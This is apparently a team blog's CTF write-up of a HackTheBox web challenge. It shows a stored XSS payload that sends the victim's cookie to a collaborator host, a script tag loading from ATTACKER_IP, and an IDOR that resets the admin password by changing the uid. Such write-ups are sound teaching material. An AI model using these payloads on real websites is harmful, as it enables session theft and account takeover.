The misadventures of team Kabbagez

hackthebox, tryhackme, CTF writeups and more?

24 May 2022

HTB Cyber Apocalypse CTF 2022 - Kryptos Support

by abxy

HTB Cyber Apocalypse CTF 2022 - Intergalactic Chase

Kryptos Support - Web

Challenge Description

The secret vault used by the Longhir’s planet council, Kryptos, contains some very sensitive state secrets that Virgil and Ramona are after to prove the injustice performed by the commission. Ulysses performed an initial recon at their request and found a support portal for the vault. Can you take a look if you can infiltrate this system?

Reconnaisance

After spinning up the Docker container, an IP and PORT are provided. An Nmap scan of the target shows it is a Node.js http server:

nmap -Pn 167.172.56.180 -p32672 -sV
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-14 10:48 PDT
Nmap scan report for 167.172.56.180
Host is up (0.13s latency).

PORT      STATE SERVICE VERSION
32672/tcp open  http    Node.js (Express middleware)false

Walkthrough

http://TARGET_IP/PORT is vault support portal that Ulysses was talking about!

a site with a support form for submitting tickets.

The top lefthand corner of the site has a link labeled ‘backend’ that leads to a login page.

The login page makes a request to /login.js. Upon examination, after login the user is redirected to the /tickets endpoint.

await fetch(`/api/login`, {
			method: 'POST',
			headers: {
				'Content-Type': 'application/json',
			},
			body: JSON.stringify(data),
		})
		.then((response) => response.json()
			.then((resp) => {
				if (response.status == 200) {
					card.text(resp.message);
					card.show();
					window.location.href = '/tickets';
					return;
				}
				card.text(resp.message);
				card.show();
			}))
		.catch((error) => {
			card.text(error);
			card.show();
		});

Solution

Since the login script redirects to /tickets, and we can submit tickets, maybe we can submit something that will react when someone logs into the application. My first instinct was cross-site-scripting.

To test this, a simple python http server was spun on my attacking machine:

# python3 -m http.server

The following ticket was submitted to the support form:

POST /api/tickets/add

{"message":"<script src=http://ATTACKER_IP:8000/swag.js></script>"}

After a few seconds, my python http server had a connection. This means the script successfully executed on an authenticated user’s browser.

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
167.172.56.180 - - [14/May/2022 12:38:58] code 404, message File not found
167.172.56.180 - - [14/May/2022 12:38:58] "GET /swag.js HTTP/1.1" 404 -

I attempted to exfiltrate the victim’s cookies so that we can impersonate them and hijack their session with the following payload. Burp Suite collaborator client was used to capture the victim’s request:

POST /api/tickets/add

{"message":"<script>fetch('https://BURP_COLLAB.oastify.com',{method: 'POST', mode: 'no-cors', body:document.cookie});</script>"}

This successfully exfiltrated the victim’s session cookie:

session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI1NTc1NzJ9.JV3FlFi6n6BIF5Cwl8m_luDitMc-sKhVMynLzNdUQRs

The cookie can be added to the browser via the developer tools interface. Once added, we are now browsing the site as the ‘moderator’ user!

Once logged in as the moderator, the list of tickets can be seen; Only two tickets are not from us:

I have lost my rfid for the vault. My vault serial is 000083921. Please send me a new rfid.

Vault 000076439 requires maintenance.

These tickets are not meaningful and do not lead to solving the challenge.

There is a ‘settings’ link that leads to a password change form. Let’s change the password for the moderator. Intercepting the password change request shows the following message:

POST /api/users/update

{"password":"password","uid":"100"}

The server replies with the following response:

{"message":"Password for moderator changed successfully!"}

The password change request specified a uid. I wonder if we can modify the uid to change a different user’s password. Let’s try uid = 1:

POST /api/users/update

{"password":"password","uid":"1"}

This resulted in the following response:

{"message":"Password for admin changed successfully!"}

We successfully changed the password for the admin’s account! Signing into the admin account with the new password shows the flag for this challenge!

tags: HackTheBox - Cyber Apocalypse - HTB - CTF